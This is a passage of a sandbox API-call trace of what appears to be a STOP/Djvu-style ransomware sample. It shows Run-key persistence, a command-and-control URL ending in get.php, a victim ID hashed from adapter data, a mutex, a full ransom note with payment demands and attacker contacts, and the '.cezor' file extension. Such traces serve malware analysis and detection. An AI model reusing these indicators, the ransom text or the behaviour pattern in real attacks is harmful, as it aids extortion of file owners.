Flags=0x0, Size=0x25c) returned 0x2fe3d98 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fe4000 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fe4268 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fe44d0 [0119.510] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fe4738 [0119.511] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c3d8 | out: phkResult=0x18c3d8*=0x59c) returned 0x0 [0119.511] RegQueryValueExW (in: hKey=0x59c, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18c3d4, lpData=0x18ab00, lpcbData=0x18c3b8*=0x400 | out: lpType=0x18c3d4*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe\" --AutoStart", lpcbData=0x18c3b8*=0xd8) returned 0x0 [0119.511] RegCloseKey (hKey=0x59c) returned 0x0 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x2ff7b10 [0119.511] lstrlenA (lpString="\" --AutoStart") returned 13 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x2fb0ab0 [0119.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2ff7b10 | out: hHeap=0x5b0000) returned 1 [0119.511] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\34ab4241-89d8-4896-a0ef-745528a314bb\\A959.tmp.exe") returned 1 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x2fb0b78 [0119.511] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0ab0 | out: hHeap=0x5b0000) returned 1 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x3006358 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fe49a0 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fe4c08 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fe4e70 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fe50d8 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fe5340 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2fe55a8 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff1060 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff12c8 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff1530 [0119.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff1798 [0119.511] lstrlenA (lpString="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned 68 [0119.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8a) returned 0x2fa13b8 [0119.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fe49a0, cbMultiByte=-1, lpWideCharStr=0x2fa13b8, cchWideChar=69 | out: lpWideCharStr="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned 69 [0119.512] lstrcatW (in: lpString1="", lpString2="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0119.512] lstrlenA (lpString="") returned 0 [0119.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x2f7a6b0 [0119.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fe4c08, cbMultiByte=-1, lpWideCharStr=0x2f7a6b0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.512] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0119.512] lstrlenA (lpString="") returned 0 [0119.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x2f7a6a0 [0119.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fe4e70, cbMultiByte=-1, lpWideCharStr=0x2f7a6a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.512] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0119.512] lstrlenA (lpString="") returned 0 [0119.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x2f7a6c0 [0119.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fe50d8, cbMultiByte=-1, lpWideCharStr=0x2f7a6c0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.512] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0119.512] lstrlenA (lpString="") returned 0 [0119.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x2f7a6d0 [0119.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fe5340, cbMultiByte=-1, lpWideCharStr=0x2f7a6d0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.512] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0119.512] lstrlenA (lpString="") returned 0 [0119.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x2f7a760 [0119.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fe55a8, cbMultiByte=-1, lpWideCharStr=0x2f7a760, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.512] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0119.512] lstrlenA (lpString="") returned 0 [0119.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x2f7a740 [0119.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff1060, cbMultiByte=-1, lpWideCharStr=0x2f7a740, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.512] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0119.512] lstrlenA (lpString="") returned 0 [0119.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x2f7a700 [0119.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff12c8, cbMultiByte=-1, lpWideCharStr=0x2f7a700, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.512] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0119.512] lstrlenA (lpString="") returned 0 [0119.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x2f7a6f0 [0119.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff1530, cbMultiByte=-1, lpWideCharStr=0x2f7a6f0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.513] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0119.513] lstrlenA (lpString="") returned 0 [0119.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x2f7a710 [0119.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ff1798, cbMultiByte=-1, lpWideCharStr=0x2f7a710, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0119.513] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php", lpString2="" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php" [0119.513] lstrlenW (lpString="") returned 0 [0119.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12) returned 0x663280 [0119.513] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x288) returned 0x2fe5810 [0119.513] GetAdaptersInfo (in: AdapterInfo=0x2fe5810, SizePointer=0x18c39c | out: AdapterInfo=0x2fe5810, SizePointer=0x18c39c) returned 0x0 [0119.526] GetAdaptersInfo (in: AdapterInfo=0x2fe5810, SizePointer=0x18c39c | out: AdapterInfo=0x2fe5810, SizePointer=0x18c39c) returned 0x0 [0119.528] GetLastError () returned 0x0 [0119.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x2fd1448 [0119.528] GetLastError () returned 0x0 [0119.528] GetLastError () returned 0x0 [0119.538] GetLastError () returned 0x6 [0119.538] CryptAcquireContextW (in: phProv=0x18c36c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c36c*=0x68e318) returned 1 [0119.538] CryptCreateHash (in: hProv=0x68e318, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18c374 | out: phHash=0x18c374) returned 1 [0119.538] CryptHashData (hHash=0x67c5a8, pbData=0x2fcf930, dwDataLen=0x11, dwFlags=0x0) returned 1 [0119.538] CryptGetHashParam (in: hHash=0x67c5a8, dwParam=0x2, pbData=0x0, pdwDataLen=0x18c370, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18c370) returned 1 [0119.538] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11) returned 0x6632c0 [0119.539] CryptGetHashParam (in: hHash=0x67c5a8, dwParam=0x2, pbData=0x6632c0, pdwDataLen=0x18c370, dwFlags=0x0 | out: pbData=0x6632c0, pdwDataLen=0x18c370) returned 1 [0119.539] GetLastError () returned 0x0 [0119.539] CryptDestroyHash (hHash=0x67c5a8) returned 1 [0119.539] CryptReleaseContext (hProv=0x68e318, dwFlags=0x0) returned 1 [0119.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcf930 | out: hHeap=0x5b0000) returned 1 [0119.539] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc1f8 [0119.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x683e08 | out: hHeap=0x5b0000) returned 1 [0119.539] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x668c38 | out: hHeap=0x5b0000) returned 1 [0119.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0x51c) returned 0x5a8 [0119.758] WaitForSingleObject (hHandle=0x5a8, dwMilliseconds=0xffffffff) returned 0x0 [0121.126] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5ac [0121.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x3006058 [0121.126] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff1a00 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff1c68 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff1ed0 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff2138 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff23a0 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff2608 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff2870 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff2ad8 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff2d40 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff2fa8 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f533c8 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x428) returned 0x2fd50f0 [0121.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw", cchWideChar=-1, lpMultiByteStr=0x2fd50f0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw", lpUsedDefaultChar=0x0) returned 41 [0121.127] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x430) returned 0x2fd5520 [0121.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd50f0 | out: hHeap=0x5b0000) returned 1 [0121.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f533c8 | out: hHeap=0x5b0000) returned 1 [0121.127] CryptAcquireContextW (in: phProv=0x18c3dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18c3dc*=0x68e318) returned 1 [0121.128] CryptCreateHash (in: hProv=0x68e318, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18c3e0 | out: phHash=0x18c3e0) returned 1 [0121.128] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw") returned 40 [0121.128] CryptHashData (hHash=0x2ffa7a8, pbData=0x2fd5520, dwDataLen=0x28, dwFlags=0x0) returned 1 [0121.128] CryptGetHashParam (in: hHash=0x2ffa7a8, dwParam=0x2, pbData=0x0, pdwDataLen=0x18c3e4, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18c3e4) returned 1 [0121.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11) returned 0x6632c0 [0121.128] CryptGetHashParam (in: hHash=0x2ffa7a8, dwParam=0x2, pbData=0x6632c0, pdwDataLen=0x18c3e4, dwFlags=0x0 | out: pbData=0x6632c0, pdwDataLen=0x18c3e4) returned 1 [0121.128] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x34) returned 0x2ffa728 [0121.128] GetLastError () returned 0x0 [0121.128] lstrcatA (in: lpString1="", lpString2="1C" | out: lpString1="1C") returned="1C" [0121.128] GetLastError () returned 0x0 [0121.128] lstrcatA (in: lpString1="1C", lpString2="D4" | out: lpString1="1CD4") returned="1CD4" [0121.128] GetLastError () returned 0x0 [0121.128] lstrcatA (in: lpString1="1CD4", lpString2="F9" | out: lpString1="1CD4F9") returned="1CD4F9" [0121.128] GetLastError () returned 0x0 [0121.128] lstrcatA (in: lpString1="1CD4F9", lpString2="D3" | out: lpString1="1CD4F9D3") returned="1CD4F9D3" [0121.128] GetLastError () returned 0x0 [0121.128] lstrcatA (in: lpString1="1CD4F9D3", lpString2="6C" | out: lpString1="1CD4F9D36C") returned="1CD4F9D36C" [0121.128] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36C", lpString2="FA" | out: lpString1="1CD4F9D36CFA") returned="1CD4F9D36CFA" [0121.129] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36CFA", lpString2="B6" | out: lpString1="1CD4F9D36CFAB6") returned="1CD4F9D36CFAB6" [0121.129] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36CFAB6", lpString2="96" | out: lpString1="1CD4F9D36CFAB696") returned="1CD4F9D36CFAB696" [0121.129] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36CFAB696", lpString2="41" | out: lpString1="1CD4F9D36CFAB69641") returned="1CD4F9D36CFAB69641" [0121.129] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36CFAB69641", lpString2="48" | out: lpString1="1CD4F9D36CFAB6964148") returned="1CD4F9D36CFAB6964148" [0121.129] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36CFAB6964148", lpString2="0C" | out: lpString1="1CD4F9D36CFAB69641480C") returned="1CD4F9D36CFAB69641480C" [0121.129] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36CFAB69641480C", lpString2="F2" | out: lpString1="1CD4F9D36CFAB69641480CF2") returned="1CD4F9D36CFAB69641480CF2" [0121.129] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36CFAB69641480CF2", lpString2="90" | out: lpString1="1CD4F9D36CFAB69641480CF290") returned="1CD4F9D36CFAB69641480CF290" [0121.129] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36CFAB69641480CF290", lpString2="9E" | out: lpString1="1CD4F9D36CFAB69641480CF2909E") returned="1CD4F9D36CFAB69641480CF2909E" [0121.129] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36CFAB69641480CF2909E", lpString2="A9" | out: lpString1="1CD4F9D36CFAB69641480CF2909EA9") returned="1CD4F9D36CFAB69641480CF2909EA9" [0121.129] GetLastError () returned 0x0 [0121.129] lstrcatA (in: lpString1="1CD4F9D36CFAB69641480CF2909EA9", lpString2="DE" | out: lpString1="1CD4F9D36CFAB69641480CF2909EA9DE") returned="1CD4F9D36CFAB69641480CF2909EA9DE" [0121.129] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6632c0 | out: hHeap=0x5b0000) returned 1 [0121.129] CryptDestroyHash (hHash=0x2ffa7a8) returned 1 [0121.129] CryptReleaseContext (hProv=0x68e318, dwFlags=0x0) returned 1 [0121.129] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd5520 | out: hHeap=0x5b0000) returned 1 [0121.129] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0121.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f533c8 [0121.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x3006028 [0121.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff3210 [0121.129] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff3478 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff36e0 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff3948 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff3bb0 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff3e18 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff4080 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff42e8 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff4550 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff47b8 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x816) returned 0x2fd50f0 [0121.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c3e8, cbMultiByte=-1, lpWideCharStr=0x2fd50f0, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x2fd6a18 [0121.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd50f0 | out: hHeap=0x5b0000) returned 1 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x30061d8 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff4a20 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x2ff4c88 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3000a28 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3000c90 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3000ef8 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3001160 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x30013c8 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3001630 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3001898 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3001b00 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x6915d8 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x2fa9540 [0121.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6915d8 | out: hHeap=0x5b0000) returned 1 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d0) returned 0x2fcaf90 [0121.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fa9540 | out: hHeap=0x5b0000) returned 1 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2b7) returned 0x2fe5810 [0121.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcaf90 | out: hHeap=0x5b0000) returned 1 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x412) returned 0x2fd50f0 [0121.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fe5810 | out: hHeap=0x5b0000) returned 1 [0121.130] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x61a) returned 0x2fd7240 [0121.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd50f0 | out: hHeap=0x5b0000) returned 1 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x470) returned 0x2fd50f0 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10d8) returned 0x2fd2450 [0121.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fd50f0, cbMultiByte=-1, lpWideCharStr=0x2fd2450, cchWideChar=2156 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned 1133 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10e0) returned 0x2fd8c48 [0121.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd2450 | out: hHeap=0x5b0000) returned 1 [0121.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd50f0 | out: hHeap=0x5b0000) returned 1 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x3006208 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3001d68 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3001fd0 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3002238 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x30024a0 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3002708 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3002970 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3002bd8 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3002e40 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x30030a8 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x25c) returned 0x3003310 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80c) returned 0x2fd50f0 [0121.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18c3e8, cbMultiByte=-1, lpWideCharStr=0x2fd50f0, cchWideChar=1030 | out: lpWideCharStr=".cezor") returned 7 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x2fd7868 [0121.131] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fd50f0 | out: hHeap=0x5b0000) returned 1 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x2fcfb88 [0121.131] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 